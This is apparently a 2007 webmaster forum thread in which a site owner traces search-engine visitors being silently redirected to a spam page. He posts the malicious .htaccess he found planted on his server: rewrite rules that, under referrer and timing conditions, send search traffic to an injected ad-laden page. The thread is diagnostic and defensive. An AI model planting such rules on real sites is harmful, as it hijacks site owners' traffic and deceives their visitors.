The Google Forum

**joltman** · 10-09-2007, 06:29 PM

This is pretty weird, I'll try to explain this the best I can. If you type in our URL, http://www.poolpak.com you go to the correct page. However, if you go to Google and search for 'poolpak' and click on the first link, it shows you some Blogger thing. The thing that I don't understand is that both of them show up as 'http://www.poolpak.com' in the URL. Does anyone have any ideas what is going on?

**ADAM Web Design** · 10-09-2007, 07:23 PM

Hey dude,

The problem with your question is that different results are going to show up for different people within Google. The first result I saw was poolpak.com, and not a Blogger thing. The pages looked identical.

Might have just been a temporary malfunction at the junction.

**joltman** · 10-09-2007, 07:29 PM

Quote:

Originally Posted by ADAM Web Design

Hey dude,

The problem with your question is that different results are going to show up for different people within Google. The first result I saw was poolpak.com, and not a Blogger thing. The pages looked identical.

Might have just been a temporary malfunction at the junction.

I can't tell from your response, did you actually click on the first result? It shows up in the Google listings as poolpak.com, but when you click on the link, it shows you some blogger thing, although the URL still shows http://www.poolpak.com! And this has been going on for over a month now, because people have been calling in about this, but we thought it was just some weird DNS thing, until we just today figured out it's when you go through Google. And the same thing happens at my home as it does at work.

**Learning Newbie** · 10-09-2007, 07:39 PM

Looks about the same from Google or clicking your link direct.

**ADAM Web Design** · 10-09-2007, 07:42 PM

Yeah, I did, to see what you were talking about.

Weird...it didn't do it the first time, but it did the second time.

I think the answer lies in Google's cache of the page, and in a specific Google datacenter search (by IP):

http://72.14.205.104/search?q=cache:...n&ct=clnk&cd=1

That looks identical to the actual Poolpak page.

And check this out:

http://64.233.187.104/search?hl=en&q=poolpak&meta=

Try the first link from that. You get to where you're supposed to go (that's a Google.ca datacenter).

What I suspect is going on is that, somewhere before your page loads, your script is detecting the referring URL and saying "Okay, anyone that comes from Google.*** goes over to this crappy Blogger page". That's either a hijack or a cloak variant (I'm not really sure what you'd call that.)

At any rate, this is one of those situations where you're going to have to look at the security of your site and hosting. Change any usernames/passwords associated with it immediately, and you may want to look at a new host (or at least a new server) as well.

Sucks that this happened to you, dude.

John, it does do it...try it on google.ca.

**vangogh** · 10-09-2007, 07:46 PM

I get to your site when I type your domain without the www. Anytime the www is used I get the blog thing. It's not a Google thing. The issue is in the way the URLs are configured at your host. It looks like that other site has hijacked your www subdomain.

**fastreplies** · 07:53 PM

I got directed to your poolpak.com with and without www
But if you still have problems, then ask your host to check httpd.conf file

fastreplies

**vangogh** · 10-09-2007, 08:05 PM

I can't get there with the www That one always takes me to the other site. But without the www I see to land on the correct site.

I do think this is a hosting issue.

**joltman** · 10-09-2007, 10:09 PM

Quote:

Originally Posted by vangogh

I can't get there with the www That one always takes me to the other site. But without the www I see to land on the correct site.

I do think this is a hosting issue.

The problem is, we host our website from our own server. For the record, when I typed in www.poolpak.com, it goes to the right site, but when I click the link on google, it takes me to the fake one, so it doesn't even seem like it's consistent with what others here are finding. I appreciate everyone's help, and can't say I look forward to going into work tomorrow morning...

**ADAM Web Design** · 10-09-2007, 10:09 PM

You sure you're not seeing something cached, Steven?

**vangogh** · 10-10-2007, 12:01 AM

Good call Adam. I cleared my cache and now can get to the site by typing the www or clicking the link here.

**ADAM Web Design** · 10-10-2007, 12:02 AM

Quote:

Originally Posted by joltman

The problem is, we host our website from our own server. For the record, when I typed in www.poolpak.com, it goes to the right site, but when I click the link on google, it takes me to the fake one, so it doesn't even seem like it's consistent with what others here are finding. I appreciate everyone's help, and can't say I look forward to going into work tomorrow morning...

Check your index file (looks like it would be index.php) for anything corresponding with "Google". You find "Google", you remove the line, and then see what happens.

**joltman** · 10-10-2007, 06:31 AM

Quote:

Originally Posted by ADAM Web Design

Check your index file (looks like it would be index.php) for anything corresponding with "Google". You find "Google", you remove the line, and then see what happens.

Well, I found the problem. There was an .htaccess file in the root directory. It looked like this:

Code:

# a0b4df006e02184c60dbf503e71c87ad                                                                                                                                                                                                        
RewriteEngine On                                                                                                                                                                                                        
RewriteCond %{HTTP_REFERER} ^http://([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|alltheweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24)\. [NC]                                                                                                                                                                                                        
RewriteCond %{HTTP_REFERER}  [?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=                                                                                                                                                                                                        
RewriteCond %{HTTP_REFERER} ![?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=[^&]+(%3A|%22)                                                                                                                                                                                                        
RewriteCond %{TIME_SEC} <54                                                                                                                                                                                                        
RewriteRule ^.*$ /install/kipure/t.htm [L]                                                                                                                                                                                                        
# a995d2cc661fa72452472e9554b5520c

Now I just have to figure out how the hell that got there...

**chrishirst** · 10-10-2007, 06:36 AM

definitely something odd going off.

Seems to be a bit of hijacking has been occuring at some point.

I'd suggest fixing the canonical issues www vs non-www and see how that changes the results initially.

**chrishirst** · 10-10-2007, 06:50 AM

that's an interesting little game somebody has been playing!!

importing a adsense loaded page when a SE link visitor arrives.

Take a look at the javascript on poolpak.com/install/kipure/t.htm

**joltman** · 10-10-2007, 06:54 AM

The first thing I did was remove the .htaccess file and the site goes to the right place through google now. So now I'm trying to figure out how that .htaccess and the kipure directory (with the file '.htaccess' and 't.htm') got there.

**vangogh** · 10-10-2007, 04:39 PM

It looks like someone gained control to things they shouldn't have. It might be a good idea to change all user/pass info for the site.

I'm glad you found the problem and I am seeing your site now when clicking the link from Google. Delete that file Chris pointed to and keep an eye on things.

**ADAM Web Design** · 10-10-2007, 07:07 PM

A close eye, at that.

You look okay from this end (just tried the Poolpak SERP from Google.ca), but be very vigilant over the next few days.

Being hacked isn't necessarily all bad either, as strange as this may sound. People generally only try to hijack/hack things where there's a reward to it, and the more successful you become, the more people try to attack you. I've been hacked successfully once (screw you, Interland hosting!) and have people try to hack the comment forms on my client sites for spam purposes alone at least 4-5 times a day.

Congralulations, dude. You're someone, and you've got enemies. As a someone, you also have acquired the right to say any dumbassed thing you want to piss people off. Use it well...or at least make me laugh when you do!

**vangogh** · 10-11-2007, 01:36 AM

Adam I share your sentiments on Interland. I never hosted with them, but I used to use web.com as a registrar until Interland bought them and they basically hold your domain hostage so you'll host with them.

The lock the domain so you can't change nameservers and the only way to unlock it is to call them. They claimed it was done for my protection. I told them it was done to force me to host with them and that they would now be losing all my domains.